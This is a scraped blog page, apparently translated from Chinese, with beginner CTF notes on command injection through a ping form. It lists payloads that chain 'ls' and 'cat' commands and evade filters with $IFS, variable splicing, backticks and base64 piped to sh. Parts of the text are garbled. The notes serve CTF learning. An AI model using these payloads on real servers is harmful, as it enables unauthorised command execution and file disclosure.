当前位置:网站首页>CTF introductory notes ping
CTF introductory notes ping
2022-08-02 04:02:00 【SevenCold】
1. Use the command line to find the flag file
Just ping, then follow ls
Example: 1;ls
found index.php file
1;catindex.php is the source website.
Then look up
1;ls …/
Keep looking up
until 1;ls …/…/…/
Find flag open
1;cat …/…/…/flag
Get flag
2. Bypass filtering to open files
Similarly, check the directory first
payload:?ip=1;ls
Found two files, try to open the index file directly (although I know it will definitely not work)
payload: ?ip=1;cat index.php
No way
The next step is to bypass the flag filter Method 1: splicing flag Method 2: Inline execution bypass (ie ``) Using inline execution will use the output inside the `` as input to the previous command. Method three: base64 encoding bypass
Guess it may filter spaces, bypassThere are many ways to filter spaces,
%20, %09, $IFS 1 , 1,1, {IFS}, <>, payload: ?ip=1;cat$IFS$1index.php
Found a bunch of filters, which also includes flagpayload:?ip=1;a=ag.php;b=fl;cat$IFS$1$b$a
You can see the flag in the website source codepayload:?ip=1;cat$IFS$1`ls`
You can also see the flag in the source codepayload:?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|shY2F0IGZsYWcucGhw is the base64 encoding of cat flag.php
Ibid.Find the flag in the source code.
边栏推荐
- hackmyvm: controller walkthrough
- [league/flysystem]一个优雅且支持度非常高的文件操作接口
- What are the killer super powerful frameworks or libraries or applications for PHP?
- Shuriken: 1 vulnhub walkthrough
- (8) requests、os、sys、re、_thread
- [mikehaertl/php-shellcommand] A library for invoking external command operations
- [symfony/mailer] An elegant and easy-to-use mail library
- (2) Thinkphp6 template engine ** tag
- Phpstudy安装Thinkphp6(问题+解决)
- web渗透必玩的靶场——DVWA靶场 1(centos8.2+phpstudy安装环境)
猜你喜欢
CTF入门之md5
PHP8.2 version release administrator and release plan
(5) 模块与包、编码格式、文件操作、目录操作
hackmyvm: kitty walkthrough
hackmyvm-hopper预排
(5) Modules and packages, encoding formats, file operations, directory operations
Alfa: 1 vulnhub walkthrough
(1) introduction to Thinkphp6, installation view, template rendering, variable assignment
13.JS输出内容和语法
(7) superficial "crawlers" process (concept + practice)
随机推荐
MySql Advanced -- Constraints
Kali install IDEA
4. PHP array and array sorting
(1) the print () function, escape character, binary and character encoding, variables, data type, the input () function, operator
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
The roll call system and array elements find maximum and minimum values for sorting of objects
17.JS条件语句和循环,以及数据类型转换
[symfony/mailer] An elegant and easy-to-use mail library
(2) Sequence structures, Boolean values of objects, selection structures, loop structures, lists, dictionaries, tuples, sets
hackmyvm-hopper walkthrough
DNS详解
一次代码审计的笔记(CVE-2018-12613 phpmyadmin文件包含漏洞)
CTF-网鼎杯往届题目
hackmyvm: may walkthrough
Stable and easy-to-use short connection generation platform, supporting API batch generation
Pycharm打包项目为exe文件
VIKINGS: 1 vulnhub walkthrough
CTF入门笔记之ping
Batch replace file fonts, Simplified -> Traditional
ES6 array extension methods map, filter, reduce, fill and array traversal for…in for…of arr.forEach